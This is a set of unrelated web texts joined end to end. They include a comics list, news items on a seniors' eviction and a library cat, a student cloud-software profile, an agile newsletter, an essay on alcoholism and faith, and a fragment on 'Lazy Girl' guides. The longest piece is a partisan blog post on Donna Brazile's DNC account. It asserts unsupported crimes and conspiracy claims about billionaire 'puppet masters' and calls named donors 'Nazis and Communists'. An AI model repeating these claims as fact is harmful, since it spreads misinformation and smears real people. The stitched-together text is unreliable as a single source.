Weekly Dig. Osamu’s an immensely likeable dude. Who knew a bowl haircut could be so endearing? 9. Lynda Barry. Because she does autobiographical comics—or as she describes them, autobifictionalography—cartoonist Lynda Barry is both a character and a creator. Her comics are raw, delightful, and often uncomfortable. She explores every corner of her life with a disarming honesty, including her relationship with her Filipina mother. If you haven’t read her stuff yet, please do. Right now. My favorite of hers is One Hundred Demons. What It Is is a close second. 10. Green Turtle. Okay. This one’s self-serving, I admit. But if I didn’t genuinely love the Green Turtle, I wouldn’t have teamed up with Sonny Liew to revive him in our graphic novel The Shadow Hero. The Green Turtle was created in the 1940s by Chu Hing, one of the first Asian Americans in the industry. Though the evidence concerning his ethnicity is murky, the Green Turtle just might be the very first Asian American superhero. And that’s why I’m so into him. His existence shows that at the beginning of superheroes, this quintessentially American genre, Asian Americans were there. Did I leave off your favorite Asian Pacific American comics character? I bet I did. And that’s kind of cool isn’t it? It means there are now enough APA characters in comics that they won’t all fit onto a single top ten list. When I started reading comics in the 80s, I would’ve struggled to come up with a list half as long So do me a favor. Fill in the gaps I left. Tell me your favorite Asian Pacific American comics character in the comments below, and have a great APA Heritage Month. Gene Luen Yang’s first book with First Second, American Born Chinese, is now in print in over ten languages and was a National Book Award finalist and winner of the Printz Award. Yang’s other works include the popular comics adaptation ofAvatar: The Last Airbender, and the New York Times Best-Selling graphic novel diptych Boxers & Saints.The Shadow Hero, the story of the first Asian-American superhero is his most recent graphic novel. It is being published in six e-issues, starting in February, 2014; the fourth will be available on May 20th. -CTV Toronto More than 100 seniors have been given eviction notices as their homes in a complex north of Toronto are scheduled to be bulldozed to create a new condo. The Heritage Village complex in Markham, Ont., which is part of the Unionville Home Society, was sold to regional municipality of York. The municipality later teamed up with Canadian developer Minto Group to build a new seniors' condo on the property. The sale means that the 110 seniors who currently live in the quiet complex will be out of a home by 2016. Some of the seniors are over the age of 90, and have lived in the complex for decades. "The thought of having to go is devastating," one resident told CTV Toronto on Thursday. "These are my sisters. We do everything together." According to the Village's tenants’ association chair, many of the residents learned of the news during a Canada Day tea-and-cake gathering. "After the cake was served, then the CEO told us that our homes will be gone and we would be displaced," Jeannine Harpell said. The residents have been promised help with finding a new home and they've also been guaranteed units in the new building. But many are still devastated by the news. "They have no idea where they are going to live," Harpell said. She says instead of evicting the residents, they should be able to stay until the new condo is move-in ready. "If in fact they are building another building here on the campus, build it first, move the seniors in and then demolish these residences." According to the Unionville Home Society, many of the units in the complex require updating and have become too expensive to maintain. The residents are expected to move out no later than Dec. 31, 2016. In the meantime, many of the seniors have been given a transition package. They are also fighting the eviction notice. A meeting was scheduled at the complex's community centre for Thursday afternoon. A member of York Region was expected to attend. With a report from CTV Toronto's Zuraidah Alman -Photo credit: Woke_Pill | Know Your Meme What do we know about the Democratic National Committee in 2017? For starters it's completely in shambles. Patriots to the right of the spectrum have complete and utter hatred towards the cultural marxist mantra of corruption in which the DNC wears upon their sleeves like a badge of honor. Anarcho-Communists to the left of the spectrum have an undying flame of spite and anger towards the corrupt and failed platform of cheating and lies in which the DNC wears atop their heads proudly like a crown of thorns. Everyone and their mother realizes that the DNC is a structural failure which has resulted in the collapse of one of the tallest skyscrapers in the land. Democrats, those whom still remain; likely never supported Hillary Clinton to begin with. She was one of the historically most corrupt candidates to ever receive a nomination by a major political party. We're now understanding more about the corruption which helped crack the walls around the Democratic Party, since the compulsively horrendous liar known as Donna Brazile is now beginning to turn on her own. In a new Thursday column, Interim Democratic National Committee Chair Donna Brazile trashed both failed President Barack Hussein Obama and corrupt Florida Representative Debbie Wasserman-Schultz for what she described as “handing complete control of the DNC to Hillary Clinton”, who never had a chance at winning due to her scandals. While it's amusing to hear Donna Brazile completely slam the 44th President and DWS; both of which are correct interpretations of the type of corruption which brought down the Democratic Party; she's far from being a saint and actually helped lie and cheat for Hillary Clinton herself. Let's go there first, before we follow up on Brazile’s column. Remember that on October the 31st of 2016, right before the election, Democratic National Committee Interim Chair Donna Brazile was fired from her position as a political commentator at the fake news outlet CNN over email leaks suggested she had improperly supplied Hillary Clinton’s campaign with advanced knowledge of questions to be posed to her during Democratic campaign events hosted by the Communist News Network, CNN. This prompted then CNN spokeswoman Lauren Pratapas (as reported per Politico) to release the following statement which said that on October 14th of 2016, the propaganda network CNN accepted Brazile’s resignation:
“On October 14th, CNN accepted Donna Brazile’s resignation as a CNN contributor. [Her deal had previously been suspended in July when she became the interim head of the DNC.] CNN never gave Brazile access to any questions, prep material, attendee list, background information or meetings in advance of a town hall or debate. We are completely uncomfortable with what we have learned about her interactions with the Clinton campaign while she was a CNN contributor.”
Now, we're all aware that Donna Brazile helped cheat for Hillary Clinton against Bernie Sanders (who actually was the voice of the people, whether or not you support him which I do not for obvious philosophical and ideological indifference); so let's discuss what Brazile had to say whilst throwing stones at a glass house. Brazile says that during her position upgrade to interim chair, that she had began to find out that the DNC was in “serious financial peril”. She then realized that due to those financial problems, Debbie Wasserman-Schultz’s former position of DNC Chair was forced to handover complete control of the DNC to the Clinton Campaign; which they did through subversion and behind a veil of secrecy. The Clinton Campaign began filling the ranks with their own loyalists, to which gave her an unfair advantage against any and all opposition for the Presidential Nomination during the primaries. To most of us, this is common knowledge. The Clinton family can be sat beside that of a Mafia crime family and you're likely not going to notice a difference in the pair; outside of a small elderly woman wearing a pantsuit in the front of the pack. The DNC lap dog of Hillary Clinton, Debbie Wasserman Schultz is one of the targets of Brazile who tore into DWS with harsh rhetoric. “Debbie was not a good manager. She hadn’t been very interested in controlling the party; she let Clinton’s headquarters in Brooklyn do as it desired so she didn’t have to inform the party officers how bad the situation was,” wrote Brazile in her opinion column on Politico Magazine. Brazile unironically claimed that she believed from the get go that the DNC cheated for Hillary (this is hilarious considering Brazile was fired for the same thing), but claims she was working for Bernie to uncover the corruption now.
”Before I called Bernie Sanders, I lit a candle in my living room and put on some gospel music. I wanted to center myself for what I knew would be an emotional phone call.”
”I had promised Bernie when I took the helm of the Democratic National Committee after the convention that I would get to the bottom of whether Hillary Clinton’s team had rigged the nomination process, as a cache of emails stolen by Russian hackers and posted online had suggested. I’d had my suspicions from the moment I walked in the door of the DNC a month or so earlier, based on the leaked emails. But who knew if some of them might have been forged? I needed to have solid proof, and so did Bernie.”
I have to stop for a second and clean up the coffee I just spit out while reading the words of Donna Brazile here, who somehow writes that in her mind she took the moral high ground in order to defend impartiality and fairness. Absolutely hilarious. Donna, you're a liar, a cheater, and even though I'm to the right if the fold as a strong supporter of President Trump; you helped screw Bernie and we all know it. Bernie Sanders while never having a platform I would support with traditional Christian social values, and conservative principles on the economy, as well as an Isolationism per Nationalist foreign policy platform; I believe that in America any and every person running for office deserves a fair chance and the people must decide. That never happened for Bernie. He had massive rallies, a strong grassroots campaign, and in his heart actually believed the Communist nonsense he was spewing. While it's not favorable for me, the Democrats supported it and he was their Champion. People like Donna Brazile, Debbie Wasserman Schultz, the DNC, and every media outlet which worshipped Barack Hussein Obama helped cheat and lie to give Hillary Clinton an overwhelming advantage over Crazy Bernie. Those are just the facts. Brazile, of whom I have very little respect for however is telling some truths about the corruption; in saying now that the trail of Clinton Cash leads to, well… Obviously the Clintons. Going further into explaining how Hillary Clinton was able to take over complete control of what should have been an impartial and unbiased DNC; Donna Brazile wrote:
”So I followed the money. My predecessor, Florida Rep. Debbie Wasserman Schultz, had not been the most active chair in fundraising at a time when President Barack Obama’s neglect had left the party in significant debt. As Hillary’s campaign gained momentum, she resolved the party’s debt and put it on a starvation diet. It had become dependent on her campaign for survival, for which she expected to wield control of its operations.”
”By September 7, the day I called Bernie, I had found my proof and it broke my heart. The Saturday morning after the convention in July, I called Gary Gensler, the chief financial officer of Hillary’s campaign. He wasted no words. He told me the Democratic Party was broke and $2 million in debt.”
I find this appalling to say the least, that Brazile is here lying suggesting the Democratic Party was somehow “broke”. The Democratic Party not only has the support of billionaire globalists including Bill Gates and his ilk, George Soros and Haim Saban (two people who are both Nazis and Communists, playing both sides), as well as those same billionaires’ supposed philanthropic organizations also using trickle down slush funds to finance violent activism such as Black Lives Matter and Antifa. It's sort of the “golem” of the international Communists, those groups, which assist in controlling their hand picked puppets by applying pressures in order to ensure they can pull the strings once their candidate(s) take office. According to Donna Brazile however, Barack Obama had crippled the Democratic Party financially, which I suppose is possible considering we now have some shred of evidence Obama was involved in some very subversive planning including his own movement which exists to turn the public against the current Trump Administration, in Organizing For Action (OFA).
”“What?” I screamed. “I am an officer of the party and they’ve been telling us everything is fine and they were raising money with no problems.””
”That wasn’t true, he said. Officials from Hillary’s campaign had taken a look at the DNC’s books. Obama left the party $24 million in debt—$15 million in bank debt and more than $8 million owed to vendors after the 2012 campaign—and had been paying that off very slowly. Obama’s campaign was not scheduled to pay it off until 2016. Hillary for America (the campaign) and the Hillary Victory Fund (its joint fundraising vehicle with the DNC) had taken care of 80 percent of the remaining debt in 2016, about $10 million, and had placed the party on an allowance.”
Brazile claims that Gary Gensler, who was the Chief Financial Officer of Hillary’s Campaign was fully aware of the DNC being “broke”, which is shocking considering not that they were allegedly broke, but that the Clinton Campaign was more aware of the financial disclosure of the DNC than even Brazile. Stop and think about that for a moment, if you will. The Clinton Campaign knew every penny the DNC had in its coffers. There's absolutely no reason the Clinton Campaign should have known this if the DNC was impartial and a separate entity, considering Bernie was clobbering Hillary in the polls. This means, without a shadow of a doubt, that the DNC was assisting and communicating with the Clinton Campaign. Again most people knew this, including Democrats who have long since claimed that the DNC cheated for Hillary; but if they're to take this unscrupulous truth at face value from Brazile, they now have even more proof. Brazile goes on to discuss her apparent shock in regards to this realization, whether or not the shock was fake is another debate.
”If I didn’t know about this, I assumed that none of the other officers knew about it, either. That was just Debbie’s way. In my experience she didn’t come to the officers of the DNC for advice and counsel. She seemed to make decisions on her own and let us know at the last minute what she had decided, as she had done when she told us about the hacking only minutes before the Washington Post broke the news. ”
What she's implying here only underscores that Debbie Wasserman-Schultz’s position wasn't answering to the people, or the DNC, but directly to the Clinton Campaign.
”On the phone Gary told me the DNC had needed a $2 million loan, which the campaign had arranged.”
“No! That can’t be true!” I said. “The party cannot take out a loan without the unanimous agreement of all of the officers.””
“Gary, how did they do this without me knowing?” I asked. “I don’t know how Debbie relates to the officers,” Gary said. He described the party as fully under the control of Hillary’s campaign, which seemed to confirm the suspicions of the Bernie camp. The campaign had the DNC on life support, giving it money every month to meet its basic expenses, while the campaign was using the party as a fund-raising clearinghouse. Under FEC law, an individual can contribute a maximum of $2,700 directly to a presidential campaign. But the limits are much higher for contributions to state parties and a party’s national committee.”
So the DNC, and Donna Brazile; weren't even in control of the Party. In fact this sort of means that the Democratic Party in itself is a fraud and the people don't have any say at all. Democrats, your party is a front organization controlled by Globalists, who select the candidates, put them up on a podium after dressing them in makeup and forcing them to remember their scripted lines, and the Billionaire puppet masters pull the strings from the shadows. Even Donna Brazile is now acknowledging this fact, in suggesting the DNC was being managed from outside forces to her dismay without her even being aware of the decision making process. That epiphany of sorts is something Brazile goes on to expose, showing how the billionaires use individuals to finance their subversion and manipulate current laws around campaign contributions.
”Individuals who had maxed out their $2,700 contribution limit to the campaign could write an additional check for $353,400 to the Hillary Victory Fund—that figure represented $10,000 to each of the 32 states’ parties who were part of the Victory Fund agreement—$320,000—and $33,400 to the DNC. The money would be deposited in the State's first, and transferred to the DNC shortly after that. Money in the battleground states usually stayed in that state, but all the other states funneled that money directly to the DNC, which quickly transferred the money to Brooklyn.”

Do you understand what this means folks?

This is a crime of epic proportions, first and foremost. No I'm not talking about just Hillary Clinton here; I'm talking about the bankers and international Communists who organized this manipulation of the election laws. I've always said this is happening, that the $2,700 max contribution limit is being manipulated. How? It's simple. Let's go with a hypothetical in order to explain how it's done. The billionaire puppet masters will take say, a million people, who each have a maximum of $2,700 they can contribute. On behalf of those people (many who have donated ten, twenty, fifty bucks or what have you), the puppet master will max out their contributions without them even knowing. If for example one million people gave $2,700 it would equal $2,700,000,000. Now again those numbers are just an example, we have no idea what amounts were actually given (but the Department of Justice and the FBI cronies as well as the Federal Elections Commission should be investigating this). This is how the elites, a handful of powerful individuals, control politicians and their platforms. It's not a coincidence that President Donald Trump who literally self financed and took small amounts from Trump Supporters didn't have but a fraction of the money available for Hillary Clinton. Donna Brazile, despite what you think of her clearly realized this was occurring to.
“Wait,” I said. “That victory fund was supposed to be for whoever was the nominee, and the state party races. You’re telling me that Hillary has been controlling it since before she got the nomination?”
”Gary said the campaign had to do it or the party would collapse.”
“That was the deal that Robby struck with Debbie,” he explained, referring to campaign manager Robby Mook. “It was to sustain the DNC. We sent the party nearly $20 million from September until the convention, and more to prepare for the election.”
Hold up. ”That was the deal that Robby struck with Debbie”? Wew. There's an admission of collusion between Hillary Campaign Manager Robby Mook and the DNC as per Debbie Wasserman-Schultz’s betrayal of Democrats. Again while this story is being ran by everyone, there are the points that aren't being realized (or maybe they are and they're avoiding the discussion) by the Mainstream Media. This is when Donna Brazile goes on to suggest she (whom was supposed to be the Chair of the DNC) was literally asking someone from the Clinton Campaign for answers about their own available finances and expenses.
”“What’s the burn rate, Gary?” I asked. “How much money do we need every month to fund the party?”
”The burn rate was $3.5 million to $4 million a month, he said.
”I gasped. I had a pretty good sense of the DNC’s operations after having served as interim chair five years earlier. Back then the monthly expenses were half that. What had happened? The party chair usually shrinks the staff between presidential election campaigns, but Debbie had chosen not to do that. She had stuck lots of consultants on the DNC payroll, and Obama’s consultants were being financed by the DNC, too.”
Imagine if Bernie’s campaign had this sort of proof during the primaries that there was such control over the DNC from Hillary Clinton and her campaign cronies. Even Brazile here, who obviously doesn't realize what she's saying, is admitting to discussing financial planning with one campaign (Hillary’s) and not another (Bernie’s) which implies Hillary was the chosen candidate and the primary in itself was a dog show to fool the masses. What do we make of this, and what can be done about it? Well first and foremost I'm not a Democrat, so it has little interest to me outside if believing this destroys the integrity of the United States of America and our elections. It does exactly that, completely and utterly removing the sense that the people have a voice at all. Even more so uninspiring is what Brazile said next regarding the “mess she had inherited”.
”When we hung up, I was livid. Not at Gary, but at this mess I had inherited. I knew that Debbie had outsourced a lot of the management of the party and had not been the greatest at fundraising. I would not be that kind of chair, even if I was only an interim chair. Did they think I would just be a surrogate for them, get on the road and rouse up the crowds? I was going to manage this party the best I could and try to make it better, even if Brooklyn did not like this. It would be weeks before I would fully understand the financial shenanigans that were keeping the party on life support.”
What exactly was the point of continuing the road campaign then during the primaries? It was already decided by the powers that be that Hillary Clinton was the chosen candidate. It clearly was all a fraud. Brazile seemingly understands this, yet didn't expose it? She continues ranting as if she somehow was doing the right thing (which is preposterous).
”Right around the time of the convention, the leaked emails revealed Hillary’s campaign was grabbing money from the state parties for its own purposes, leaving the states with very little to support down-ballot races. A Politico story published on May 2nd, 2016 described the big fund-raising vehicle she had launched through the states the summer before, quoting a vow she had made to rebuild “the party from the ground up… when our state parties are strong, we win. That’s what will happen.”
”Yet the states kept less than half of 1 percent of the $82 million they had amassed from the extravagant fund-raisers Hillary’s campaign was holding, just as Gary had described to me when he and I talked in August. When the Politico story described this arrangement as “essentially… money laundering” for the Clinton campaign, Hillary’s people were outraged at being accused of doing something shady. Bernie’s people were angry for their own reasons, saying this was part of a calculated strategy to throw the nomination to Hillary.”
So Brazile was fully aware, that Hillary Clinton had not only seized power of the DNC but was burglarizing, literally stealing, money which belonged to individual States in order to benefit the Clinton Campaign? Where the hell is the investigation into this? We have Donna Brazile outright admitting knowledge of crimes committed by the Clinton Campaign. Of course, Brazile doesn't realize what she just admitted and she goes on to suggest that she was somehow surprised by these facts.
”I wanted to believe Hillary, who made campaign finance reform part of her platform, but I had made this pledge to Bernie and did not want to disappoint him. I kept asking the party lawyers and the DNC staff to show me the agreements that the party had made for sharing the money they raised, but there was a lot of shuffling of feet and looking the other way.”
So wait Donna, you didn't want to disappoint Bernie, yet you had evidence of cheating and were even complicit in it since you were aware Robby Mook had made a deal with the Clinton Campaign as per Debbie Wasserman Schultz and you didn't go public with it? No Donna, you're a traitor to the United States of America. You were complicit fully in allowing any integrity in our elections to be thrown out the window. Surprisingly Brazile goes on to imply even more damning evidence against the DNC and the Clinton Campaign.
”When I got back from a vacation in Martha’s Vineyard, I at last found the document that described it all: the Joint Fund-Raising Agreement between the DNC, the Hillary Victory Fund, and Hillary for America.”
”The agreement—signed by Amy Dacey, the former CEO of the DNC, and Robby Mook with a copy to Marc Elias—specified that in exchange for raising money and investing in the DNC, Hillary would control the party’s finances, strategy, and all the money raised. Her campaign had the right of refusal of who would be the party communications director, and it would make final decisions on all the other staff. The DNC also was required to consult with the campaign about all other staffing, budgeting, data, analytics, and mailings.”
”I had been wondering why it was that I couldn’t write a press release without passing it by Brooklyn. Well, here was the answer.”
”When the party chooses the nominee, the custom is that the candidate’s team starts to exercise more control over the party. If the party has an incumbent candidate, as was the case with Clinton in 1996 or Obama in 2012, this kind of arrangement is seamless because the party already is under the control of the president. When you have an open contest without an incumbent and competitive primaries, the party comes under the candidate’s control only after the nominee is certain. When I was manager of Al Gore’s campaign in 2000, we started inserting our people into the DNC in June. This victory fund agreement, however, had been signed in August 2015, just four months after Hillary announced her candidacy and nearly a year before she officially had the nomination.”
There it is, the smoking gun for Democrats. An agreement for the “victory fund” was signed just four months after Hillary announced her candidacy and a year prior to her officially winning the nomination. It was rigged from day one. Funny though, Brazile implies she sought evidence of corruption after this.
”I had tried to search out any other evidence of internal corruption that would show that the DNC was rigging the system to throw the primary to Hillary, but I could not find any in party affairs or among the staff. I had gone department by department, investigating individual conduct for evidence of skewed decisions, and I was happy to see that I had found none. Then I found this agreement.”
I'm not sure if she's blind, deaf, or playing dumb here but she had evidence of internal corruption, from herself the moment she spoke with Gary Gensler, who was working for the Clinton Campaign, about the finances of the DNC. That's collusion with intent to manipulate from that day forth in my opinion. Thus rendering the rest of the primaries useless. However Brazile states that there was nothing wrong with this agreement, but I bet Bernie supporters would disagree.
”The funding arrangement with HFA and the victory fund agreement was not illegal, but it sure looked unethical. If the fight had been fair, one campaign would not have control of the party before the voters had decided which one they wanted to lead. This was not a criminal act, but as I saw it, it compromised the party’s integrity.”
The Federal Election Commission should decide this Donna, not you who is clearly a suspect in any such investigation.
”I had to keep my promise to Bernie. I was in agony as I dialed him. Keeping this secret was against everything that I stood for, all that I valued as a woman and as a public servant.”
Knowingly misleading Bernie Sanders, she has just admitted. Wow. Just wow.
”“Hello, senator. I’ve completed my review of the DNC and I did find the cancer,” I said. “But I will not kill the patient.” ”
Donna, you were never a surgeon, or a doctor, but playing the role of a murder trial; as in you were the defense attorney, the prosecution, the jury, the Judge, and the executioner. You kept the truth from the public and had the entire case in your hands, and decided to end it in the fashion you did which killed Bernie Sanders’ chances at a fair and balanced primary. She goes on to suggest that she continued to keep the lie exactly that; a secret which benefited Hillary Clinton alone.
”I urged Bernie to work as hard as he could to bring his supporters into the fold with Hillary, and to campaign with all the heart and hope he could muster. He might find some of her positions too centrist, and her coziness with the financial elites distasteful, but he knew and I knew that the alternative was a person who would put the very future of the country in peril. I knew he heard me. I knew he agreed with me, but I never in my life had felt so tiny and powerless as I did making that call.”
”When I hung up the call to Bernie, I started to cry, not out of guilt, but out of anger. We would go forward. We had to.”
As we all historically now know, Brazile not only tried to cheat the system while working at CNN in favor of Hillary over Bernie, but robbed the American people of a clean primary season. Your tears are fake, Donna Brazile, just like you, just like the Democratic Party, just like Barack Hussein Obama, and just like Hillary Clinton. What are people supposed to make of these admissions from Donna Brazile today? While we know she's This goes to google planning to release a new book, she has completely torn the lid off of the actions and corruption of the Democratic National Committee as well as forever tarnished the American election system by giving a damning statement about the rigging in favor of Hillary Clinton. She's even made herself complicit multiple times, to which I demand (all Republicans and Democrats should unite here) an investigation into these actions. Jeff Weaver, who served as Sanders’ campaign manager, said Thursday that Brazile’s book “confirms what many understood to be the case.” “We saw throughout the campaign a pattern from the DNC that was favorable to Clinton. They wanted her to be the nominee,” he said. Senator Bernie Sanders has yet to publicly speak on these matters but regardless of how you feel about Bernie Sanders; he was robbed and this warrants an investigation. DNC spokesman Xochitl Hinojosa said, “The DNC must remain neutral in the Presidential Primary process, and there shouldn’t even be a perception that the DNC is interfering in that process.” Good news Hinojosa, there's a new chair in Tom Perez now. Bad news Hinojosa, there was zero neutrality in the Presidential Primaries. The DNC cheated for Hillary Clinton. Brazile saying that Barack Obama was responsible for the debt however, that warrants a separate investigation. Why was Barack Obama, who had already served two terms; and needed zero dollars for any campaign involving himself at all, handling campaign cash to begin with? What the hell was really going on there? We know that Organizing For Action, an Obama and Soros related group has been used during the Trump Administration to assist AntiFa in their massive protests. The Goldwater has also helped to expose the George Soros and Barack Obama backed Project Indivisible; so could they have stolen cash from the DNC or redirected it towards those causes? We know now per Donna Brazile Hillary stole money from the State’s coffers. Where did that money go? Hillary lost, and that alleged missing money hurt other State and local candidates across the country for the Democrats (which I'm not complaining about their losses, I'm complaining about the apparent thefts). Democrats should be outrage, which many who despised Hillary were and voted for Trump or a third party, but with this new evidence they have an actual case for taking action. Let's see if Black Lives Matter or AntiFa hit the streets against the surfacing of this information. Progressives, and actual Communists; well they never supported Hillary Clinton to begin with. Those people wanted Bernie Sanders or even someone further left to shift America into a Socialist nightmare that in their minds would somehow be a wet dream of equality. Unfortunately that's not how it actually works when you implement a social-welfare state built upon the grounds of Karl Marx’s philosophies and demented ideals. https://thegoldwater.com/news/5524-Why-Communism-Socialism-Never-Works So what does the left wing of America have left? Well, they should have a fair and balanced chance through Democracy to win. We now know they do not have a fair chance, and if Democrats would like to demand an investigation; I staunchly support them to preserve the integrity of our elections. Sources (Original and Archive): https://www.politico.com/magazine/story/2017/11/02/clinton-brazile-hacks-2016-215774 Archived version of Donna Brazile’s admission of guilt in case she deletes it edits it: http://archive.is/or9c4 —[email protected] On Twitter: @IWillRedPillYou Tips? Info? Send me a message! -by Donald Lam | Photo Credits: The CloudNG Team | June 17, 2014 I met Wilson Chandra, a graduating senior, in the Composite Building Mac lab and he showed me his final year project (FYP). I recognized it immediately because it was one of the projects that received honorary mention in the annual FYP competition, getting the third place overall. You can tell CloudNG is Wilson’s baby. He talks about it most fervorously. CloudNG is basically a personal and privately hosted cloud. It is the software and interface for a multifunctional server that you can set up at home. Imagine a dropbox clone but instead of uploading your files to the servers of some company, your files can stay at your home. Here are a couple of screenshots of the CloudNG webapp: It syncs your files: And your contacts: Your calendar: And your bookmarks: This may not be the newest of ideas but the design and execution of CloudNG is beautifully done. The interface is clean, gorgeous and looks suspiciously similar to the dropbox web portal so it is familiar and easy to use. Built with a standard open source Apache server, the MySQL database is so widely supported that you can sync from practically any device or service. CloudNG therefore inherits great compatibility and the team built a detailed user guide on how any user can quickly sync up the data from their PCs, Macs, tablets or phones. You can even type in the address in the file explorer or finder of any PC/Mac, and your files would show up as if they are locally stored after a password prompt. I asked him how long did it take for him and his teammate to build it, only to get the hilarious response of “We procrastinated until almost January…”, so only three months of after school hours. You can actually sign up for a 1GB test drive of the CloudNG service right now. This is hosted on a faculty server and could be taken down in later years, but you do get to play with it. (link) The CloudNG team imagines that in the future, we would all have a little black box at home with CloudNG installed, hooked up to the internet and streaming our files anywhere we want them. There is still a lot the team wants to add to CloudNG. Streaming media, running third party apps, more social network functions, enabling an online document editor, etc. It will look very mature and poised to take on real world competitors soon. You can see a detailed comparison of the current functions of CloudNG versus current products here. Contact the developers: Wilson Chandra: admin@wilsonchandra.com Yonatan Nugraha Toemali: ynt1993@connect.hku.hk -Age of Product’s Food for Thought of April 30th, 2017—shared with 7,968 peers—features two heavyweight agile champions on why scaling agile is futile. We also can confirm: the further east you go the less Scrum works. Sorry, we needed to address the elephant in the room. On the product side, we dive deep into how to kill features and why this is important for any aspiring creator of a great product. (Spoiler alert: those embrace simplicity.) We also talk about the “cigarettes” of the B2C web industry, and what it takes to get ‘lean startup’ as a concept going in an enterprise. Lastly: we learn about the unfortunate trend of creating local maxima due to a lack of long-term thinking. Enjoy Labor Day! Scaling Agile Is Futile & Scrum Ron Jeffries : Implications of Enterprise Focus in Scrum Ron Jeffries on scaling agile, SAFe & Co and Scrum Alliance generating new certificates as rapidly as their PDF formatters can produce. Dave Snowden : SAFe: the infantilism of management Mr. Cynefin Dave Snowden’s notion of SAFe is simple: It seemed to be PRINCE II camouflaged in Agile language. Joshua Partogi : Scrum does not work here in Asia Joshua Partogi explains why agile does not work in Asian cultures where people expect to be told what to do because hierarchy is what keeps the universe working. (via AgileConnection ): 4 Balanced Metrics for Tracking Agile Teams Joel Bancroft-Connors outlines four suitable metrics for agile teams. Scott Adams : Cultural Fit You might be too smart to work here. Product & Lean Steli Efti and Hiten Shah : 201: How to Kill Features in Your Product In this episode of the Startup Chat, Steli and Hiten talk about the process of killing features in your product. Adam Risman (via Intercom ): Airtable's Andrew Ofstad on maintaining simplicity at scale Andrew Ofstad explains why complexity slowly creeps up on product builders, and what we can do to preserve the original simplicity of a product. (via Board of Innovation ): The 9 Biggest Challenges for Corporates to implement Lean Startup Arne Van Balen shares the nine biggest challenges for corporates to implement lean startup and 23 great best practices to tackle them. Nir Eyal (via Medium ): The Morality of Manipulation Nir Eyal points at the consumer web industry as a manipulation business based on a wave of habit-forming technologies. Vince Law (via Hacker Noon ): WTF is Strategy? Vince Law provides a simple, yet comprehensive explanation of “strategy” as a concept. The Essential Read -Two weeks after the White Settlement City Council voted to kick a beloved cat out of the public library, city leaders have reversed course and will let Browser remain a live-in mascot. The Fort Worth suburb's governing body voted 3-0 on Friday to let Browser stay, following backlash from their 2-1 decision in June to give the tabby 30 days to find a new home. Browser, a former shelter cat, had been at the library nearly six years before council member Elzie Clements called for his removal. Mayor Ron White has said Browser got caught in the political crossfire after a city employee wasn't allowed to take a puppy to work at City Hall. But on Friday, White said he was overwhelmed by the number of people on social media who supported keeping Browser on the job. "This is not just a cat, it's like a family pet," former council member Alan Price told the Fort Worth Star-Telegram. Like most felines, Browser spends a good deal of time napping, lounging and sneaking out the door — but he also attends the library's GED classes and has an honorary diploma, the library says. And each year, the library sells a calendar full of pictures of Browser as a fundraiser. -What the recovering alcoholic can offer the Church. What is the meaning of insatiable craving? How does drunkenness seem to be an experience of the divine? How is it different? How can Catholicism make sense of the joys and sorrows of the drinking life? What, if anything, can an alcoholic in recovery offer to the Church? The first three questions are addressed in the 2012 documentary film “Bill W.” about the life of Alcoholics Anonymous (AA) co-founder, Bill Wilson. The film discusses Bill’s friendship with Fr. Ed Dowling – a non-alcoholic Jesuit priest and an early proponent of the fellowship of AA – who served as Bill’s spiritual director. It recounts a conversation that Bill and Fr. Dowling had once, in which Bill asked Father whether his thirst would ever be quenched. Father replied that, no, Bill’s thirst would never be quenched, because we are meant to thirst; what matters is where we aim what we thirst for. This understanding of a profound thirst, an emptiness sometimes described as a “God-sized hole,” is the beginning point of recovery for many. In the 12 Steps of AA, it is described as an admission of powerlessness and a recognition of unmanageability in one’s life. Though this is a good beginning, one needs more for recovery; one needs to “come to believe”, to encounter God and to begin to set aside self-will for God’s will. By our Catholic faith, we see that God has created us for happiness – for union with Him – and that He has instilled in us both a capacity and desire for Himself so that we might seek to do His will and to draw ever closer to Him. This desire and capacity seems to have two dimensions or aspects, which I call "unitive" on the one hand, and "infusive" on the other. The "unitive" aspect is one in which we desire and seek after unity or oneness with God, with other people, and with creation; it could be characterized as contemplative, peaceful, quiet, or restful. The "infusive" aspect, as I call it, is a desire to be filled with and transformed by the Holy Spirit; this aspect could be characterized as charismatic, active, or apostolic. This twofold capacity and desire for unity and for infusion I call the "mystical impulse." Although this "mystical impulse" can be found in each one of us, the effects of sin and concupiscence often direct our desires away from God throughout our natural lives. Alcoholism – the habitual, chronic, and compulsive use of alcohol – is one of the ways in which we see sin express itself in the world. While alcoholism has been described in many ways, one of the most illuminating descriptions of it can be found in the beginning of "Alcoholics Anonymous": the so-called "Big Book," from which the name of the fellowship of AA is derived. In the section entitled "The Doctor’s Opinion", written by addiction specialist Dr. William Silkworth in the late 1930s, one sees alcoholism described as the operation of a type of allergy to alcohol within the body of the alcoholic. Dr. Silkworth notes that the alcoholic experiences a "phenomenon of craving" that is triggered when he takes a drink. In addition to this physical craving, he experiences a mental obsession with drinking that defies reason or willpower. He seeks after a sense of "ease and comfort" that becomes ever more elusive over time, even in the face of a relentless and fatal progression. If he is fortunate, the alcoholic will come to discover that: a) once he takes the first drink, he is unable to stop, and b) that he has no effective mental defense against the first drink. So why does he do this? The best way to explain is for me to recount my own experience of drinking and recovery. One of my earliest childhood memories is of my father showing me the coin he received upon his reaching 90 days of sobriety in a Minneapolis alcoholism treatment facility; I was perhaps 5 years old at the time. For as long as I can remember, I was aware of and obsessed with alcohol. On the one hand I was afraid of alcohol knowing that my father had problems with drinking and I did not want to end up in a hospital; on the other, I wanted to experience release from a painful self-consciousness and fear that mounted all throughout my childhood. I recall watching with rapt attention the TV commercials which depicted the Budweiser Clydesdales pulling their fully-laden coach through bucolic, snowy landscapes, wishing for their promised good cheer to break through the sad fog of familial strife that unfailingly settled over my house from mid-November to mid-January every year. -Lazy Girls, as you might imagine, need a lot of instruction to get through life. Just consider the average woman: lolloping around like a friendly dog, with food and coffee stains on her rumpled clothes, hair matted in a pile, not even a little dismayed that her eyeliner is wiggled. She eats whatever, and doesn’t exercise either; she’s content to forego fitness crazes because how could she be any more comfortable with who she is? If she weren’t so tragic in her ignorance — so lazy — you’d think she was standing astride the self-care industry and society’s standards for women, arms akimbo, laughing. Fortunately for women in our modern times, publications old and new now offer “Lazy Girl” guides to shape them into some level of fitness for society. And I mean fitness in more than just the natural-selection sense: Lazy Girl guides can give her a great butt. They can style her clothes so she does not scare others, banish her cystic pizza face, make her lose weight, help her with her morning makeup, feed her a healthy meal, repair her tattered rags, tame her rat’s nest of a haircut, fix her repulsive cuticles, contour her shapeless blob of a face, learn her manners, teach her to keep house. The lazy girl is Eliza Doolittle, and the internet is her Henry Higgins. The rise of the “Lazy Girl” meme is difficult to track 